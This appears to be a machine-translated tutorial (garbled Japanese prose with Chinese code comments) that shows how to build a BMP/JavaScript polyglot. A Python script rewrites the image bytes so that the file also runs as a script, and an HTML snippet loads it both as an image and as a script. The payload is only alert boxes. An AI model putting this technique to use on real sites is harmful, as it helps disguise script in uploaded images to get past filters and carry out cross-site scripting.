開くには進テキストエディタを使用して、BMPの画像は、最初の2つの文字BMは、ブラウザがこのBMP画像を識別するために、基本的に、画像フォーマットを表し、我々は(画像のバイナリデータ)すべてのコメントを以下のデータを入れますその中で攻撃に私たちのスクリプトを追加します
# -*- coding: cp936 -*-
img='1.bmp'
pfile=open(img,"rb")
buff=pfile.read()
#替换掉/*符号
buff=buff.replace(b'\x2F\x2A',b'\x00\x00')
pfile.close()
#在第三个位置插入/*
pfile=open(img,"wb")
pfile.write(buff)
pfile.seek(2,0)
pfile.write(b'\x2F\x2A')
pfile.close()
#图片数据的最后追加 */=1;
#这样就把图片的数据注释了,剩下的后面就是js的脚本
pfile=open(img,"ab")
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
pfile.write(open('t.js','rb').read())
pfile.close()
print('写入成功')
JSスクリプト、t.js
alert('Tony');
alert('BM='+BM)
私たちは、あなたが2ポップアップやマップを見ることができ、ブラウザ内の外観を解決しました
<img src='1.bmp' />
<script src='1.bmp'></script>